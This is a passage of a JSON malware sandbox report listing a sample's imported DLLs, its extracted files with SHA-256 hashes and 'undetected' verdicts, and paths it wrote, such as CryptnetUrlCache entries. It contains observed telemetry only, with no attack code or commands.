-2147483646 \"Software\\Microsoft\\Windows Search\" \"Mozilla/4.0 (compatible; MSIE 6.0; Windows NT; MS Search 4.0 Robot)\" \"%ALLUSERSPROFILE%\\Microsoft\\Search\\Data\\Temp\\usgthrsvc\" \"DownLevelDaemon\"","sha256":"0e9c9a1126039b072c2bae04c3b731139035082a5fce91e89248963e40571905","normalized_path":"%WINDIR%\\system32\\SearchProtocolHost.exe","parent_uid":"00000000-00004520","uid":"00000000-00000412"}],"all_imported_dlls":["cryptbase.dll","urlmon.dll","System.DirectoryServices.ni.dll","tzres.dll","msshooks.dll","mssph.dll","System.Configuration.ni.dll","mswsock.dll","wbemcomn2.dll","ntdll.dll","msvcrt.dll","fltLib.dll","webio.dll","System.Transactions.dll","Microsoft.Windows.Diagnosis.SDEngine.dll","slc.dll","VxSSL32.dll","System.Numerics.ni.dll","sxs.dll","mssprxy.dll","sspicli.dll","System.Management.Automation.ni.dll","fastprox.dll","advapi32.dll","api-ms-win-core-xstate-l2-1-0.dll","api-ms-win-downlevel-user32-l1-1-0.dll","mscorsecimpl.dll","KBDUS.DLL","NaturalLanguage6.dll","rpcrt4.dll","nsi.dll","imm32.dll","System.Core.ni.dll","Microsoft.VisualBasic.ni.dll","mscorrc.dll","api-ms-win-downlevel-normaliz-l1-1-0.dll","api-ms-win-downlevel-shell32-l1-1-0.dll","devobj.dll","psapi.dll","System.Windows.Forms.ni.dll","dhcpcsvc.dll","Microsoft.Management.Infrastructure.Native.ni.dll","elsTrans.dll","shlwapi.dll","version.dll","rasadhlp.dll","setupapi.dll","System.Transactions.ni.dll","vsstrace.dll","oleaut32.dll","System.Windows.Forms.dll","api-ms-win-downlevel-version-l1-1-0.dll","Microsoft.Management.Infrastructure.ni.dll","wtsapi32.dll","KernelBase.dll","nlssorting.dll","bcrypt.dll","api-ms-win-downlevel-advapi32-l1-1-0.dll","Microsoft.PowerShell.ConsoleHost.ni.dll","netutils.dll","lpk.dll","ucrtbase_clr0400.dll","pwrshsip.dll","System.Data.ni.dll","VxSSL64.dll","sechost.dll","WindowsCodecs.dll","userenv.dll","Wldap32.dll","cfgmgr32.dll","dnsapi.dll","mpr.dll","wow64cpu.dll","vcruntime140_clr0400.dll","cryptsp.dll","wininet.dll","bcryptprimitives.dll","gpapi.dll","ELSCore.dll","ntshrui.dll","shell32.dll","profapi.dll","System.Management.ni.dll","samlib.dll","wow64win.dll","System.Xml.ni.dll","wintrust.dll","tquery.dll","msidle.dll","NlsData0009.dll","ole32.dll","api-ms-win-downlevel-ole32-l1-1-0.dll","crypt32.dll","wshext.dll","dwmapi.dll","uxtheme.dll","normaliz.dll","atl.dll","rsaenh.dll","wow64.dll","mscoreei.dll","mscorlib.ni.dll","IPHLPAPI.DLL","api-ms-win-downlevel-advapi32-l2-1-0.dll","rpcss.dll","es.dll","clrjit.dll","WSHTCPIP.DLL","FWPUCLNT.DLL","System.Configuration.Install.ni.dll","srvcli.dll","System.ni.dll","propsys.dll","powrprof.dll","winsta.dll","mapi32.dll","mscoree.dll","secur32.dll","msasn1.dll","SensApi.dll","dhcpcsvc6.dll","ieframe.dll","Microsoft.CSharp.ni.dll","kernel32.dll","api-ms-win-core-synch-l1-2-0.dll","api-ms-win-downlevel-shlwapi-l1-1-0.dll","wship6.dll","clbcatq.dll","elslad.dll","msctf.dll","ncrypt.dll","credssp.dll","winnsi.dll","ntmarta.dll","msisip.dll","Microsoft.BackgroundIntelligentTransfer.Management.dll","AutoItX3.PowerShell.dll","gdi32.dll","imagehlp.dll","winhttp.dll","System.Management.Automation.dll","diasymreader.dll","scrrun.dll","wbemdisp.dll","ntdsapi.dll","comctl32.dll","cryptnet.dll","vssapi.dll","cscapi.dll","clr.dll","apphelp.dll","wmiutils.dll","samcli.dll","authz.dll","user32.dll","usp10.dll","System.Drawing.ni.dll","GdiPlus.dll","Microsoft.Windows.Diagnosis.TroubleshootingPack.dll","mssrch.dll","Microsoft.PowerShell.Commands.Management.ni.dll","msvbvm60.dll","wbemprox.dll","wbemsvc.dll","iertutil.dll","RpcRtRemote.dll","esent.dll","ws2_32.dll","System.Data.dll","Microsoft.PowerShell.Security.ni.dll","NlsLexicons0009.dll"]},"file_activity":{"dropped_files":null,"extracted_files":[{"name":"chrmstp.exe","sha256":"131d4000858b534502c7303f043188486212db70c4967f886a1c86598cb1eff2","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6912f7c0202e89ec7c010238"}]},{"name":"AcroRd32.exe","sha256":"7cf2f88388cec85ed8f42ef668d964c97baf7272b890892e0e131f6ed28b0e63","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6912f7c0202e89ec7c010238"}]},{"name":"elevation_service.exe","sha256":"0d3d4a97fc1e0823aa9aa65e0a63131d66f48efe2dc097702f149dbd2b635fd2","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6912f7c0202e89ec7c010238"}]},{"name":"wmpnetwk.exe","sha256":"e3055ccf58cde29f29475552a28342e962ce8deae2d56c8acd753bd80c0eab56","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6912f7c0202e89ec7c010238"}]},{"name":"7zG.exe","sha256":"4671cb37dce4868773528d49f769fe479fa2b2de2a3026b28f94a6c40e9f1d67","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6912f7c0202e89ec7c010238"}]},{"name":"chrome_pwa_launcher.exe","sha256":"4de6fc246e532af774fbf3746bfc312915e67aabce16c7337294a1259d7ef970","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6912f7c0202e89ec7c010238"}]},{"name":"cblauncher.exe","sha256":"2f83b8e1387fa195787e8bc4cbdab56bf55f1e15b971377de6fbd69893210524","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6912f7c0202e89ec7c010238"}]},{"name":"dwtrig20.exe","sha256":"63e7948434cf8b79200365fe8b61d089b5fbb6eef19b565308f02d0ec19aa0c5","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6912f7c0202e89ec7c010238"}]},{"name":"Aut2exe_x64.exe","sha256":"c6daa4d2ecc6c464bf2d469d7480ddf30d7c7b10e3f5482cc5a47040a0d4bc22","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6912f7c0202e89ec7c010238"}]},{"name":"setup.exe","sha256":"131d4000858b534502c7303f043188486212db70c4967f886a1c86598cb1eff2","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6912f7c0202e89ec7c010238"}]},{"name":"7z.exe","sha256":"7b6a1f33e6be2908f3583338144540d4490727dc49e26e8c01e942a145c7c91e","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6912f7c0202e89ec7c010238"}]},{"name":"firefox.exe","sha256":"b6394eb1472cd78db7350377d6f968ec0117fa5c558c377be4c0b653338a010b","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6912f7c0202e89ec7c010238"}]},{"name":"notification_helper.exe","sha256":"a43e21a563ed4c5862b8e4d70b92a1ca7be0c9c8c519522c1a162e57c2ba63f1","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6912f7c0202e89ec7c010238"}]},{"name":"rawshark.exe","sha256":"490d0e3bb55d7ea4b919195a1f591be84a40fc6ca9afdb381edc4118b91c273f","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6912f7c0202e89ec7c010238"}]},{"name":"LogTransport2.exe","sha256":"aeb27ec5ed1be0375efccb82b739f617cb929848f362325a26f3b15047dc24ea","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6912f7c0202e89ec7c010238"}]},{"name":"updater.exe","sha256":"6ac5d9021e6f6e271af6b412323c130df3280ee6fe23028cd0fc70e4b5f73e07","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6912f7c0202e89ec7c010238"}]},{"name":"text2pcap.exe","sha256":"55434bcb24571e23ef4852e67febc1a123e649f73fc45de24f3d0bd056baad7e","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6912f7c0202e89ec7c010238"}]},{"name":"editcap.exe","sha256":"10427ba4505e4025301df657d2c5a9ea3fda80c2fd84c24f414ba16d485bdb2e","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6912f7c0202e89ec7c010238"}]},{"name":"WatAdminSvc.exe.bin","sha256":"6224f3fc0ef39e357188df6c7f0fcd8e1a0651e4313334c2e919e070c596e557","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6912f7c0202e89ec7c010238"}]},{"name":"capinfos.exe","sha256":"9aef5c2f67d2cf81437ac298699b554d232f3ecb306b30d729d730814d25c590","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6912f7c0202e89ec7c010238"}]},{"name":"mergecap.exe","sha256":"3b5fa30efe1a71209f72d3bcae5dfec6c0dc32d146577be1e531412c97d3151a","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6912f7c0202e89ec7c010238"}]},{"name":"reordercap.exe","sha256":"c59cc704e0d005b365cdcbfd2b544c649697bcb4f966729a9a30403857d50bf1","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6912f7c0202e89ec7c010238"}]},{"name":"javaws.exe","sha256":"bf2b09488e72eeb4a523c8abd81c160765826bf591a3e0393a49f66a5b82be6f","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6912f7c0202e89ec7c010238"}]},{"name":"airappinstaller.exe","sha256":"e0991ba6d7151f485070f2eb8c7f27fad7d5fe41b5745076da45aea32534b5c1","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6912f7c0202e89ec7c010238"}]},{"name":"AcroBroker.exe","sha256":"5fe51f6fb69344f5c7d4e14d162277ee5ca27482e454853b5befc99ad40cc2e1","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6912f7c0202e89ec7c010238"}]},{"name":"64BitMAPIBroker.exe","sha256":"18e50480cacaa8c363ce1609afacff8309efff75278099e2a26ba157c6a07874","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6912f7c0202e89ec7c010238"}]},{"name":"VMwareXferlogs.exe","sha256":"f9ba751df29400450d1f81f79ca73799d7e9854593aa384b4a3a6f0733c42e7b","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6912f7c0202e89ec7c010238"}]},{"name":"Au3Info_x64.exe","sha256":"94248e8b15fb2d64476f3ad795d19156e5144fa65d545e29a63ebc277792043a","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6912f7c0202e89ec7c010238"}]},{"name":"Au3Info.exe","sha256":"af439e79d3970317065baf0aa253620da60f2e1dbb23789b6cae77f12d463157","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6912f7c0202e89ec7c010238"}]},{"name":"javaw.exe","sha256":"d0a9cfed694763a28c28f5720a633aa00ed47432ba11fe6af5333a11292f1c03","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6912f7c0202e89ec7c010238"}]},{"name":"java.exe","sha256":"82d14b074b5760800cbb45c1b772e447e44ffc206e1e0de4e1e16e3bb9827ff8","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6912f7c0202e89ec7c010238"}]},{"name":"unpack200.exe","sha256":"a00eda8385f6af96ab55b5bbdc6724e619a152cb0d62cffbcc4bc53196f5dfd5","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6912f7c0202e89ec7c010238"}]},{"name":"Au3Check.exe","sha256":"2ce37152461289e9d82e73498475b5d7854b635bab733912bf5cf207de385822","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6912f7c0202e89ec7c010238"}]},{"name":"maintenanceservice.exe","sha256":"07e504c809361268d941c8137f453a6e643f3832d30b16f15e5ffb10d0a50ee8","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6912f7c0202e89ec7c010238"}]},{"name":"crashreporter.exe","sha256":"24ea903e31653a25b4463c20c218003d8ba078c7e80f4e524a5bedf06151add5","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6912f7c0202e89ec7c010238"}]},{"name":"rpctool.exe","sha256":"c0561bd90c61de31648b9fb5a9147046431fc36eeb4f191db02a2bbc27fc3a96","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6912f7c0202e89ec7c010238"}]},{"name":"comreg.exe","sha256":"4543c0094cb389fcfa93c56744107938b49c6018be3754bfef6724587fbf566a","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6912f7c0202e89ec7c010238"}]},{"name":"ose.exe","sha256":"a93c0ea5287e5c62b65c120f9e9630e88ec2b14fabb4fd33d1f6275d30fe1bc3","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6912f7c0202e89ec7c010238"}]},{"name":"chrome_proxy.exe","sha256":"5f39179033f95230b0c4c491f185a782c30563a6457f308ac689881286f7e7dd","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6912f7c0202e89ec7c010238"}]},{"name":"GoogleUpdate.exe","sha256":"31e88951e34198737360e74ac89e470b99275d5505a85f2de15a74805df87f66","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6912f7c0202e89ec7c010238"}]},{"name":"mscorsvw.exe","sha256":"ed39acd893937011bec05e51539675befdbb4638f401d78d598e4d512f79f486","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6912f7c0202e89ec7c010238"}]},{"name":"WCChromeNativeMessagingHost.exe","sha256":"20eb53b07a9dafdda730aa1fbdf4c3e8e75cd054d7c9839af7126944b182cfbb","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6912f7c0202e89ec7c010238"}]},{"name":"AutoIt3_x64.exe","sha256":"8bf09e917add6d2d3ed76dab2d7e9e8d1c5feee04255ad30f53316243c51f0b2","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6912f7c0202e89ec7c010238"}]},{"name":"ADelRCP.exe","sha256":"e47161267961888b41b43acbfa3ac1a8ea552f60cea2c68796549a2da361c80f","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6912f7c0202e89ec7c010238"}]},{"name":"ehsched.exe","sha256":"04be08d13aee5e733f03c39263fa36e454cb39a58df55c6b713c5015ab35fbb8","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6912f7c0202e89ec7c010238"}]},{"name":"AutoIt3Help.exe","sha256":"cb6492d74b21fb320df3b4562cc7a1b32cd8e990ca19850a14e374ff671ce161","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6912f7c0202e89ec7c010238"}]},{"name":"rpcapd.exe","sha256":"7d26f96db33a839cc7df2a2deb429c0cd3d90ff976d723fa0561ee66ef7fca50","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6912f7c0202e89ec7c010238"}]},{"name":"wow_helper.exe","sha256":"3418956adb08a4ceb3ebf2decf1948ba4ce4d3a8abe4b1c69c31e4fb85a5e987","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6912f7c0202e89ec7c010238"}]},{"name":"jp2launcher.exe","sha256":"0a57a7ed9d4432eb56d823946971ccd6ec1fdd7957c3cc54cde547814b57d2c0","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6912f7c0202e89ec7c010238"}]},{"name":"32BitMAPIBroker.exe","sha256":"057b847b30e9091a76c2b3c02675be8e7cb7a89517b77fb0c1ead3d1ccd58069","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6912f7c0202e89ec7c010238"}]},{"name":"plugin-container.exe","sha256":"1bbb648962da94829d6765bf4385ac44aec1ab7a541dc01ff49e6876f921f880","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6912f7c0202e89ec7c010238"}]},{"name":"VMToolsHookProc.exe","sha256":"61b007272b12f55627624ad1c89c107e6a117e255d2136197aa6bd48c49ffb7b","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6912f7c0202e89ec7c010238"}]},{"name":"VMwareResolutionSet.exe","sha256":"d4e2a529cb194eca6f9d032baa305a9b1e58e414012360b1dae0c24e730d2ef1","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6912f7c0202e89ec7c010238"}]},{"name":"arh.exe","sha256":"d09617984eb13cca1534bf0031453e7ac96ae0c78656cce90c30160fb11e6658","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6912f7c0202e89ec7c010238"}]},{"name":"Eula.exe","sha256":"4dada412ebdadb78db4f074aa681e4ad3c69dfa8afcc08c77da3d1d6eea28b54","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6912f7c0202e89ec7c010238"}]},{"name":"javacpl.exe","sha256":"e9c218a7debd782469cd3403544f404ff8eadae7345c5b9c278a160d58fb41aa","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6912f7c0202e89ec7c010238"}]},{"name":"VMwareToolboxCmd.exe","sha256":"fcd830ba032b840983ffe7608d9972f61fefbeace94715514b92bbcc61189c90","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6912f7c0202e89ec7c010238"}]},{"name":"ssvagent.exe","sha256":"755c1185d0499a983875d3da2daeaaa7ebe230e435c81531c9440c93ad1a9a89","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6912f7c0202e89ec7c010238"}]},{"name":"pingsender.exe","sha256":"99bb2fdff2e4188d4026514dc348aecfc4d8c08cb46c001150cd39094b98d89c","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6912f7c0202e89ec7c010238"}]},{"name":"reader_sl.exe","sha256":"0ae77d9f3be5dfb70a4c5e1b40b0ebc750d1674661db1b0d6f96c7e4d84eac77","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6912f7c0202e89ec7c010238"}]},{"name":"aspnet_state.exe","sha256":"5a5ad1ab25a3babe7ced11a35d0d0cfb7ce5f012a042f6c871d555a043085650","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6912f7c0202e89ec7c010238"}]},{"name":"VGAuthCLI.exe","sha256":"0d63c0c711018a8eb196514717ffd43dbde8df8be8ac8ce4e4e84d72824e971a","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6912f7c0202e89ec7c010238"}]},{"name":"AcroTextExtractor.exe","sha256":"609ea850c9e039ba9f4901d42eaf7551c9514dad4b34338cbb013053f4af1a78","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6912f7c0202e89ec7c010238"}]},{"name":"plugin-hang-ui.exe","sha256":"4012d4908f2047f8479ecb87d20ae998d3f28bea08c7328db242fcd400e7a344","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6912f7c0202e89ec7c010238"}]},{"name":"jabswitch.exe","sha256":"d8fc33cff372d6a26673ab2df7e585f825bb884855608049095ea5ad241cf311","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6912f7c0202e89ec7c010238"}]},{"name":"VMwareNamespaceCmd.exe","sha256":"f08e73029c60c06e6f1b020543c80506f44021550cfd31928753da2bde7a4348","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6912f7c0202e89ec7c010238"}]},{"name":"AcroRd32Info.exe","sha256":"e9533100b7173ba4708730bcdf7a514926d875e7e712931ab3569b4fd66d4962","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6912f7c0202e89ec7c010238"}]},{"name":"perfhost.exe","sha256":"a0f69851d11252f7e06f9c1e544d8948f5969d12f72ad42063f192ca5ec8187c","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6912f7c0202e89ec7c010238"}]},{"name":"VMwareAliasImport.exe","sha256":"d965cacf5ebefe0d67bcce44d40014bbdac34dcf9951386d47f857087dcb261b","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6912f7c0202e89ec7c010238"}]},{"name":"Uninstall.exe","sha256":"51644fc55b60d870cecf8e77b463bcbda2b690e10292ecc983961e7181ece8e0","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6912f7c0202e89ec7c010238"}]},{"name":"policytool.exe","sha256":"b54574ebfe8197f10bc6c6035ac3138198baf3b4d45a699a103f1ac4f4345204","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6912f7c0202e89ec7c010238"}]},{"name":"pack200.exe","sha256":"2b5105ae9a98f181c9366d0cd98183173d17a7c7a808eb5060079c348e252f67","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6912f7c0202e89ec7c010238"}]},{"name":"ktab.exe","sha256":"331bf51517c6bddad568b20389dbf8f5bdb97fcf49e637d373e177f7ffd0525f","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6912f7c0202e89ec7c010238"}]},{"name":"klist.exe","sha256":"77194d901ccd8bf8485e27d22e4963706fc110b670d46c12b658a4ef25029638","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6912f7c0202e89ec7c010238"}]},{"name":"keytool.exe","sha256":"4847ae1fb3a5a78198b7bc92aeb04141594723c6517a08299043bcdf36190f02","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6912f7c0202e89ec7c010238"}]},{"name":"tnameserv.exe","sha256":"6cc7140c0f977b6ddce7fb204a4de105e7d9a6e39d0dd7d3e0cbb8fd30efc596","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6912f7c0202e89ec7c010238"}]},{"name":"rmiregistry.exe","sha256":"d2405787833a6727c4da6dc4d53859848fb8e90c475f263a88aa27209b076000","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6912f7c0202e89ec7c010238"}]},{"name":"orbd.exe","sha256":"4c6683c5ce08c07d0294e25464c004ccf7a506b8f75c2cba2321b7756c627008","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6912f7c0202e89ec7c010238"}]},{"name":"servertool.exe","sha256":"81897715f4d0b28cd8651b69de8b6fb65a0e0510a995cee2b27875caae9e2a84","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6912f7c0202e89ec7c010238"}]},{"name":"kinit.exe","sha256":"e694e162e766120da7b144e7c6c6823465abcbd16d09ccd5e7136c808c795805","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6912f7c0202e89ec7c010238"}]},{"name":"rmid.exe","sha256":"0d39b6794d162761d284137e089539f09c790e517a2601c3489ecb9543340692","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6912f7c0202e89ec7c010238"}]},{"name":"jjs.exe","sha256":"06b98f464595265562f8eed3ff9d3e0c570b98880d9d20bea51998db716d06ce","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6912f7c0202e89ec7c010238"}]},{"name":"java-rmi.exe","sha256":"1465d5b314b90a9f6171ccc6882559cf927f2003c825913d6d874520709e6a7d","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6912f7c0202e89ec7c010238"}]},{"name":"AdobeCollabSync.exe","sha256":"f76b568b96fded0d38d9db171a049f4f45ac0f3fc47759565d165aab6a6142ec","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6912f7c0202e89ec7c010238"}]},{"name":"7zFM.exe","sha256":"47419ac109892dc94d454fc853567f3dd0c03851be8dc6c4387cab63e5b430d4","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6912f7c0202e89ec7c010238"}]},{"name":"ehrecvr.exe","sha256":"b9863b54a4d000a0601d5545cc1d77e7911f592fd615f5633aa15685b9339373","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6912f7c0202e89ec7c010238"}]},{"name":"vm3dservice.exe","sha256":"06e926ca791eb7568f5ab36788ea5ecb8df69a8257e066819ea4f3177a13b71c","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6912f7c0202e89ec7c010238"}]},{"name":"minidump-analyzer.exe","sha256":"d46d5de0d0c84d1c444e97fc8b32bf20b6cd812a07ff3d93c6f58029aa928258","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6912f7c0202e89ec7c010238"}]},{"name":"SearchIndexer.exe","sha256":"9a06d419b50e4e7e04d3e0626779f36f1df715feffb4b190ea0106476c675ca8","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6912f7c0202e89ec7c010238"}]},{"name":"OSE.EXE","sha256":"703590bfd2b07a36286d71ffaa0d25ca5e71cde54f6859d4311c3360f8086d26","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6912f7c0202e89ec7c010238"}]},{"name":"DW20.EXE","sha256":"8f8984562ba35a6d105ebc260b5d6d11c134dfc8eaec1ce03a40453c315fdab4","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6912f7c0202e89ec7c010238"}]},{"name":"WatAdminSvc.exe","sha256":"6224f3fc0ef39e357188df6c7f0fcd8e1a0651e4313334c2e919e070c596e557","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6912f7c0202e89ec7c010238"}]},{"name":"StartupProfileData-NonInteractive","sha256":"a7de5177c68a64bd48b36d49e2853799f4ebcfa8e4761f7cc472f333dc5f65cf","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6912f7c0202e89ec7c010238"}]},{"name":"3B6E683A7A45CC59BF035C9BA8C7AB9D","sha256":"00bd554fdca6aa5dac1beded657514cda320676a6e61d8e02b5f925286f75557","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6912f7c0202e89ec7c010238"}]},{"name":"5080DC7A65DB6A5960ECD874088F3328_BC00434159DAE8351451CCE9C748F5D7","sha256":"9fe698452298a320d00e2ce4f7af8d48779ea280e98c2692215877b18b16e9eb","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6912f7c0202e89ec7c010238"}]},{"name":"5457A8CE4B2A7499F8299A013B6E1C7C_CE50F893881D43DC0C815E4D80FAF2B4","sha256":"bebe2853a3485d1c2e5c5be4249183e0ddaff9f87de71652371700a89d937128","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6912f7c0202e89ec7c010238"}]},{"name":"57C8EDB95DF3F0AD4EE2DC2B8CFD4157","sha256":"0300e9ddb527990e8b59d06e9ccf3ec2bd92d3bbd0ef4fba69d6336e4195e82d","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6912f7c0202e89ec7c010238"}]},{"name":"CC42971B7939A9CA55C44CFC893D7C1D","sha256":"da510a6ed1eb7cf9aa75bd3d6a4660970eb21b5285b6bd050c2f88a04719f836","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6912f7c0202e89ec7c010238"}]},{"name":"D2B5168CDD0EBF4C0C8EA1C3A1FAE07F_6A6C976C95DB61038C55E3E49EBCF182","sha256":"c35147450685ea130311c49abb7ac1449c7ce9ebe3a4cf105876eb044ea8c9a8","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6912f7c0202e89ec7c010238"}]},{"name":"E6B84D30E5F69CEB3278532D063D4504","sha256":"0a37eb3efe4d53e0697e88a1a6a498c36330d26e99b38b89ab5bd2dacf019512","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6912f7c0202e89ec7c010238"}]},{"name":"Aut2exe.exe","sha256":"69cfa10ef41f8b42bdfedfa32f6d372610699534201e585935b7b95315f1775d","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6912f7c0202e89ec7c010238"}]},{"name":"385ff1036e8a03cb.bin","sha256":"344a8956164f6c403ad0f0006abbff48cebedbb58e0fefa947bf67cb53ae3641","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6912f7c0202e89ec7c010238"}]}],"files_written":[{"path":"\\FileSystem\\Filters\\FltMgrMsg","sources":[{"report_type":"sandbox","report_id":"6912f7c0202e89ec7c010238"}]},{"path":"\\DEVICE\\NETBT_TCPIP_{846EE342-7039-11DE-9D20-806E6F6E6963}","sources":[{"report_type":"sandbox","report_id":"6912f7c0202e89ec7c010238"}]},{"path":"\\DEVICE\\NETBT_TCPIP_{B840E303-4DCF-48C9-B26E-A964FAABFBDC}","sources":[{"report_type":"sandbox","report_id":"6912f7c0202e89ec7c010238"}]},{"path":"C:\\Users\\%OSUSER%","sources":[{"report_type":"sandbox","report_id":"6912f7c0202e89ec7c010238"}]},{"path":"%USERPROFILE%\\AppData\\Roaming","sources":[{"report_type":"sandbox","report_id":"6912f7c0202e89ec7c010238"}]},{"path":"%LOCALAPPDATA%\\ow\\Microsoft\\CryptnetUrlCache\\MetaData\\57C8EDB95DF3F0AD4EE2DC2B8CFD4157","sources":[{"report_type":"sandbox","report_id":"6912f7c0202e89ec7c010238"}]},{"path":"%LOCALAPPDATA%\\ow\\Microsoft\\CryptnetUrlCache\\Content\\57C8EDB95DF3F0AD4EE2DC2B8CFD4157","sources":[{"report_type":"sandbox","report_id":"6912f7c0202e89ec7c010238"}]},{"path":"%LOCALAPPDATA%\\ow\\Microsoft\\CryptnetUrlCache\\MetaData\\5457A8CE4B2A7499F8299A013B6E1C7C_CE50F893881D43DC0C815E4D80FAF2B4","sources":[{"report_type":"sandbox","report_id":"6912f7c0202e89ec7c010238"}]},{"path":"%LOCALAPPDATA%\\ow\\Microsoft\\CryptnetUrlCache\\Content\\5457A8CE4B2A7499F8299A013B6E1C7C_CE50F893881D43DC0C815E4D80FAF2B4","sources":[{"report_type":"sandbox","report_id":"6912f7c0202e89ec7c010238"}]},{"path":"%LOCALAPPDATA%\\ow\\Microsoft\\CryptnetUrlCache\\MetaData\\3B6E683A7A45CC59BF035C9BA8C7AB9D","sources":[{"report_type":"sandbox","report_id":"6912f7c0202e89ec7c010238"}]},{"path":"%LOCALAPPDATA%\\ow\\Microsoft\\CryptnetUrlCache\\Content\\3B6E683A7A45CC59BF035C9BA8C7AB9D","sources":[{"report_type":"sandbox","report_id":"6912f7c0202e89ec7c010238"}]},{"path":"%LOCALAPPDATA%\\ow\\Microsoft\\CryptnetUrlCache\\MetaData\\5080DC7A65DB6A5960ECD874088F3328_BC00434159DAE8351451CCE9C748F5D7","sources":[{"report_type":"sandbox","report_id":"6912f7c0202e89ec7c010238"}]},{"path":"%LOCALAPPDATA%\\ow\\Microsoft\\CryptnetUrlCache\\Content\\5080DC7A65DB6A5960ECD874088F3328_BC00434159DAE8351451CCE9C748F5D7","sources":[{"report_type":"sandbox","report_id